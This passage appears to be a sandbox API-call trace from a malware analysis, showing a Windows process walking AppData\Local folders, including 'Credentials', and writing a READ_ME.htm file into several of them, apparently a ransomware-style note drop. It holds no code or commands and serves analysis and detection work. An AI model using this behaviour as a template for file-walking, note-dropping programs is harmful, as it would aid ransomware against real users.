cAlternateFileName="")) returned 1 [0144.046] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79dbc710, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79dbc710, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79dbc710, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0144.046] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0144.046] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0144.046] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.046] SetErrorMode (uMode=0x0) returned 0x1 [0144.046] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local", lpFilePart=0x0) returned 0x20 [0144.047] SetErrorMode (uMode=0x1) returned 0x0 [0144.047] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x38fd42e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x38fd42e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.047] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x38fd42e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x38fd42e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.047] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0144.047] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38fd42e0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x38fd42e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x38fd42e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1b228, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1 [0144.047] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79dbc710, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79dbc710, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79dbc710, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0144.047] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x79ba73d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x53729330, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x1614fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0144.047] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0144.047] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe31a0b60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31a0b60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe31a0b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0144.048] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x425a4b80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x425a4b80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0144.048] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79dbc710, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79dbc710, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79dbc710, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0144.048] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0144.048] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0144.048] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.048] SetErrorMode (uMode=0x0) returned 0x1 [0144.048] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x31 [0144.048] SetErrorMode (uMode=0x1) returned 0x0 [0144.049] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Application Data\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\application data\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0144.050] SetErrorMode (uMode=0x0) returned 0x1 [0144.050] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Application Data\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Application Data\\READ_ME.htm", lpFilePart=0x0) returned 0x3d [0144.050] SetErrorMode (uMode=0x1) returned 0x0 [0144.050] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Application Data\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\application data\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.051] GetFileType (hFile=0x1d0) returned 0x1 [0144.051] SetErrorMode (uMode=0x0) returned 0x1 [0144.051] GetFileType (hFile=0x1d0) returned 0x1 [0144.051] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e1550*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28e1550*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0144.052] CloseHandle (hObject=0x1d0) returned 1 [0144.053] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\History", lpFilePart=0x0) returned 0x28 [0144.053] SetErrorMode (uMode=0x1) returned 0x0 [0144.053] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\History\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\history\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0144.055] SetErrorMode (uMode=0x0) returned 0x1 [0144.055] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\History\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\History\\READ_ME.htm", lpFilePart=0x0) returned 0x34 [0144.055] SetErrorMode (uMode=0x1) returned 0x0 [0144.055] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\History\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\history\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.057] GetFileType (hFile=0x1d0) returned 0x1 [0144.057] SetErrorMode (uMode=0x0) returned 0x1 [0144.057] GetFileType (hFile=0x1d0) returned 0x1 [0144.057] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e6f68*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28e6f68*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0144.058] CloseHandle (hObject=0x1d0) returned 1 [0144.058] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x2a [0144.058] SetErrorMode (uMode=0x1) returned 0x0 [0144.058] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.059] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.059] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0144.059] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bcd530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0144.059] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0144.059] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0144.059] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x519a8410, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x519a8410, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0144.060] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798152d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0144.060] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x5bb5ba10, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x5bb5ba10, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0144.060] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0144.060] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x23884f50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x23884f50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0144.060] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xb1ed8fe0, ftLastAccessTime.dwHighDateTime=0x1d73a91, ftLastWriteTime.dwLowDateTime=0xb1ed8fe0, ftLastWriteTime.dwHighDateTime=0x1d73a91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0144.060] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8cddad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8d03c30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8d03c30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~4")) returned 1 [0144.060] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7d4ee530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7d4ee530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1 [0144.060] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79698510, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1 [0144.060] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0144.061] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0144.061] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.061] SetErrorMode (uMode=0x0) returned 0x1 [0144.061] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x2a [0144.061] SetErrorMode (uMode=0x1) returned 0x0 [0144.061] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.062] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.062] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0144.062] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bcd530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0144.062] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, 